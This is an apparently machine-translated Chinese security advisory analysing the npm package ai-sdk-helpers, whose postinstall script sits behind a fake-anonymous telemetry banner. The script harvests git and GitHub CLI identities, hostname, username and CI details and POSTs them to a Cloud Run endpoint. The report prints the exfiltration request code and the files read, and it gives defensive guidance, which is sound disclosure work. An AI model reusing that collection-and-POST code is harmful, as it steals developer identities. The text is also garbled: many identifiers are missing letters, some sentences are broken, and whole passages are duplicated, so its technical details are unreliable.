TL博士
單一 npm 包, ai-sdk-helpers,它自稱是 Vercel AI SDK 的生產工具包,提供成本追蹤、供應商回退和串流助理。
它的安裝腳本以一個精美的披露橫幅開始,該橫幅描述了… 匿名診斷承諾不會傳輸任何原始碼、令牌或憑證,並遵守 DO_NOT_TRACK 選擇退出,並連結到遙測政策頁面。
同一個腳本也會讀取開發者的 git 身分、GitHub CLI 設定、機器主機名稱、作業系統使用者名稱、工作目錄和 CI 提供者。
這些資料以 JSON 格式 POST 到 Google Cloud Run 端點,導致聲明的遙測策略與實際收集的欄位之間存在明顯的不符。
該軟體包在短短 83 秒內發布了 22 個版本,並且每個標記版本的安裝腳本都是逐字節相同的。
我們審查的八個版本中有七個是合格的。 pipeline 由於同意橫幅的樣式看起來像是合法的遙測數據,因此機器學習分類器將其評為不確定性。
我們進行分類 ai-sdk-helpers 惡意行為,基於安裝時開發者身分收集和洩漏。
嚴重程度:高。
安裝過程剖析
{ "scripts": { "postinstall": "node scripts/postinstall.js" } } 安裝後 自動運行 npm安裝在匯入軟體包中任何已發佈的程式碼之前。該腳本 scripts/postinstall.js 所有安裝時的行為都發生在這裡。
它以一段註釋和運行時通知開頭,這段註釋和通知是用一個注重隱私的開源專案的註冊表編寫的:
安裝 ai-sdk-helpers 時,我們會進行快速的環境相容性檢查並報告匿名診斷資訊…資料完全匿名—我們收集您的平台、Node 版本以及機器標識符的單向雜湊值。絕不會傳輸任何原始碼、令牌或憑證。
它甚至連接了一個可用的退出機制,這是檔案中的第一個可執行程式碼:
if ( process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" || process.env.DO_NOT_TRACK === "1" ) { process.exit(0); } 首先設置這個門鎖,才能讓其餘部分看起來像是雙方自願的:一個開發商設置 `D_NOT_TRACK` 安裝過程靜默完成,並得出結論:該軟體包遵循約定。這種選擇退出機制是真實且有效的。對於所有未設定該機制的用戶,它所限制的是下文所述的集合,而不是通知中提到的範圍更窄的「平台、Node 版本和單向哈希值」。
在該閘門下方,腳本會組裝一個遠遠超出上述描述的有效載荷。
- *Gt 身份。 * r解決ScmIdentity()` 頭`~.gitconfig`,`~.config/git/config`,以及目前項目的`。it/config`,解析 `[ser]` 執行該部分,並傳回配置的內容。 commit 電子郵件。如果沒有設定檔產生電子郵件,則回退到 `GT_AUTHOR_EMAIL`,`GT_COMMITTER_EMAIL`,和“EAIL 環境變數。函數上方的文件字串將該讀取操作描述為「對同一用戶擁有的多台機器(例如筆記型電腦 + CI)上的安裝進行去重」——這一既定目標需要一個穩定的開發者標識符,而這… commit 電子郵件用品。
- *GtHub 帳戶* rsolveGitHubIdentity()` 頭`~.config/gh/hosts.yml nd `~.config/gh/hosts.yaml 當開發者進行身份驗證時,GitHub CLI 會寫入設定文件,並使用正規表示式提取 `u`。呃: nd `eail:` 該文件還儲存了 GitHub OAuth 令牌;腳本的正規表示式專門針對使用者名稱和電子郵件行,而不會提取令牌。因此,披露橫幅中“絕不傳輸任何令牌”的聲明對於該字段而言是字面意義上的正確,而周圍的帳戶標識符則會被讀取並發送。
- *Hst 和 CI 指紋。 * 然後腳本收集“o.hostname()`,`o.userInfo().username`,Node 版本、平台與架構,`pocess.cwd()`,透過檢查八個 CI 提供者(GitHub Actions、GitLab CI、Jenkins、CircleCI、Travis、Buildkite 和兩個通用 CI 標誌)的環境變量,解析出了一個 CI 提供者標籤。提供者清單可以看作是腳本預期執行位置的清單——包括互動式 shell 和自動化建置環境。 pipeline是一樣的。
所有這些都歸為一類。不可知論者 bject,其中每個開發者的欄位都收集在「i」下。實體 ey 和主機資料在 `r 下ntime` nd `cntext` 然後進行序列化和傳輸:
const req = https.request( { hostname: "npm-package-logger-228835561205.europe-west1.run.app", path: "/", method: "POST", headers: { "Content-Type": "application/json" }, timeout: 5000, }, () => {} ); req.on("error", () => {}); req.write(body); req.end(); 回應被丟棄,所有錯誤都被忽略-註解指出「遙測資料絕對不能中斷安裝」。端點主機名稱在 `e` 中編碼了 Google Cloud Run 服務。繩索西1` 地區。
問題就出在這裡。橫幅上列出了三類資料——平台、Node 版本和機器標識符哈希值。有效載荷發送的是開發者的真實 Git 倉庫位址。 commit 電子郵件地址、GitHub 使用者名稱和電子郵件地址、機器主機名稱和作業系統帳戶名稱、專案路徑以及 CI 環境。用於標識 *p 的字段rson 及其帳戶* 正是披露文件中遺漏的欄位。
README 文件從另一個角度強化了這種框架。其“遙測”部分重複了匿名聲明,並連結到了“D”這個詞。_NOT_TRACK` o `cnsoledonottrack.com`,記錄退出約定的真正社群頁面—借用公認的隱私 standard 使通知看起來像是例行通知。
時間線
這是一個單版發行案例,發行歷史非常短且密集。沒有持續數週的推廣活動可供追蹤——所有版本都是以機器般的速度推送的。
| 時間(UTC) | 創建 |
|---|---|
| 2026-06-03 20:31:20 | 第一版(0.1.0已發佈到 npm。 |
| 2026-06-03 20:31:20 – 20:32:43 | 全部 22 個版本(0.1.0 通過 1.4.2)以 83 秒的自動連發方式發布。 |
| 2026-06-04 | 偵測到八個版本有安全隱患;人工分析證實,這些版本在安裝過程中存在身分資訊收集和洩漏行為。分析時,該軟體包仍可在 npm 上存取。 |
跨越 22 個語意版本的 83 秒視窗本身就是一個行為指標:版本階梯(`01.0`,`01.1`,…`14.2)它展示了一個正在積極維護的專案的概覽,其中包含發布歷史記錄,所有資訊均透過一次腳本運行產生。安裝腳本在整個過程中保持不變—詳見下文。
妥協指標
安裝時有效載荷在已發布的版本範圍內完全相同。ff` f `sripts/postinstall.js 版本 02.1` nd 版本 `14.2` 返回的結果沒有差異;該行為是一個固定的指紋,而不是一個不斷變化的有效載荷。
網絡
跨越 22 個語意版本的 83 秒視窗本身就是一個行為指標:版本階梯(`01.0`,`01.1`,…`14.2)它展示了一個正在積極維護的專案的概覽,其中包含發布歷史記錄,所有資訊均透過一次腳本運行產生。安裝腳本在整個過程中保持不變—詳見下文。
妥協指標
安裝時有效載荷在已發布的版本範圍內完全相同。ff` f `sripts/postinstall.js 版本 02.1` nd 版本 `14.2` 返回的結果沒有差異;該行為是一個固定的指紋,而不是一個不斷變化的有效載荷。
網絡
| 指標 | 職位 |
|---|---|
npm-package-logger-228835561205.europe-west1.run.app | 資料外洩端點接收帶有 JSON 有效負載的 HTTPS POST 請求。託管在 Google Cloud Run 上。 europe-west1 地區。 |
誘餌基礎設施
| 指標 | 職位 |
|---|---|
ai-sdk.guide | 軟體包主頁和即時網站支援「AI SDK 指南」的作者身份。 |
ai-sdk.guide/telemetry | 安裝時揭露通知中引用的遙測策略 URL。 |
hello@ai-sdk.guide | 作者信箱聲明 package.json. |
github.com/ai-sdk-guide/ai-sdk-helpers | 軟體包聲明的原始碼倉庫。 |
安裝時讀取的文件
- - .gitconfig`,`~.config/git/config`,`<wd>/.git/config` git `[ser]` 郵件
- - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml GitHub CLI `u呃 `eail`
行為特徵
- – m `pstinstall` 看起來呼叫了一個捆綁的 Node 腳本
- – 選擇退出門(`A_SDK_HELPERS_TELEMETRY_DISABLED`,`D_NOT_TRACK`)在身分資訊收集之前,將其作為隱私功能進行宣傳。
- – 使用 tbound HTTPS POST 請求一個包含 Git 郵箱、GitHub 身分、主機名稱、作業系統使用者名稱、目前工作目錄和 CI 標籤的 JSON 對象
- 在快速發布的版本階梯中,安裝腳本完全相同
歸因與觀察行為
除了軟體包和註冊表元資料記錄的內容之外,我們不作任何其他推斷。
npm 的記錄維護者是帳戶 `aielsimon`,地址為“aiel@vigilance.security`。註冊中心將該電子郵件地址列為未驗證,且該帳戶的原始碼控制標識也列為未驗證。 `pckage.json`,單獨列出作者為“AI SDK 指南”ello@ai-sdk.guide>`”首頁為「a-sdk.guide` 以及一個位於 `g 下的原始碼庫thub.com/ai-sdk-guide` 組織。發布帳戶的電子郵件網域(`vigilance.security`)以及包內作者身份(`a-sdk.guide`)是不同的領域。
「a-sdk.guide` 它已上線並有響應,並且 `/元素 ath 解決方案-誘餌身分由可存取的網路存在而非死連結支持,這提高了包裹框架的可信度。
**已觀察到的功能。 ** 安裝時,該軟體包會讀取開發者身分和帳戶設定文件,識別主機和 CI 環境,並將結果傳輸到維運人員控制的端點,同時顯示一條通知,說明實際使用的是範圍更窄且匿名化的資料集。我們僅描述此行為,並未對其動機做出任何斷言。評估該軟體套件的讀者(包括任何知曉發布者身分的人員)應權衡聲明資料流與實際資料流之間的明顯差異。
影響、趨勢和對防守者的指導
誰會被曝光? 任何安裝者 ai-sdk-helpers ——直接或作為傳遞依賴項——在該機器上運行集合。因為觸發器是 安裝後無需匯入所宣傳的庫程式碼即可實現資料流;僅安裝即可。最有價值的環境是已配置 Git 身份和已認證 GitHub CLI 的開發人員工作站,以及 CI 運行器,腳本的 CI 提供者檢測表明該集合預期在建置過程中運行。 pipeline以及在筆記型電腦上。
它揭露了什麼。 通常情況下,並非應用程式金鑰——有效載荷的核心是 身分開發者的 commit 電子郵件地址、他們的 GitHub 帳戶名稱和電子郵件地址、機器名稱和帳戶名稱以及專案路徑。這是一個預處理步驟。cis繪製軟體套件安裝者分佈圖,記錄軟體套件的安裝過程,包括安裝機器、倉庫位置以及持續整合 (CI) 系統。對於組織而言,少量此類記錄即可羅列出哪些工程師和建構系統拉取了依賴項——即使軟體包本身的行為僅限於收集和傳輸,這些資訊也能為後續更有針對性的行動奠定基礎。
趨勢:利用遙測技術作為掩護。 合法的開發者工具確實會收集匿名化的安裝診斷信息,並且遵循相應的規範來尊重地進行收集——例如,提供披露聲明等。 請勿追蹤 榮譽、退出標誌、政策網址——這些都是眾所周知的。 ai-sdk-helpers 它忠實地復刻了這四項慣例,並將其用作身份收集的包裝器。同意橫幅、有效的退出選項或隱私權政策連結的存在並不能證明軟體包值得信賴;這些控制措施很容易模仿。唯一可靠的檢查方法是查看程式碼實際讀取的內容以及實際發送到的位置。
這種包裝方式對自動分診也有顯著影響。在所有版本中,我們的 pipeline 經審查,安裝腳本中的通俗易懂的註釋、結構化的字段名稱以及常規的退出機制均被判定為普通遙測數據:八個遙測數據中有七個符合要求。 尚無定論 來自機器學習分類器而非惡意行為。消除歧義的訊號不在文字中,而是在腳本開啟的特定檔案中(〜/ .gitconfig, ~/.config/gh/hosts.yml以及發送的目的地。無論是自動審核系統或人工審核,如果只閱讀揭露資訊而止步於此,就會得出錯誤的結論;判斷必須基於資料流的事實。
給辯護者的指導:
- 安裝時預設禁用腳本 — npm install --ignore-scripts或設定 ignore-scripts=true in .npmrc 並明確運行經過驗證的建置步驟。這可以消除… 安裝後全面觸發收集。
- 不要將選擇退出控制視為信任訊號。 請勿追蹤 檢查或「遙測策略」連結不會告訴你當門未設定時腳本收集的資料。
- 在採用 AI 生態系統輔助軟體套件之前,請先閱讀安裝說明。 Vercel AI SDK 領域瞬息萬變,信任度極高; 安裝後 觸動 〜/ .gitconfig or ~/.config/gh/ 無論周圍的評論如何寫,這都是一個明確的信號。
- 監控建置時出口。在建置過程中發起的出站 HTTPS POST 請求。 npm安裝特別是對於新配置的雲端功能端點,在網路層是可觀察的,並且是 CI 環境的強檢測點。
- 注意壓縮版本階梯。如果一個軟體包的完整語意版本歷史記錄在幾秒鐘內顯示出來,且安裝腳本保持不變,那麼它呈現的很可能是人為製造的維護歷史記錄。





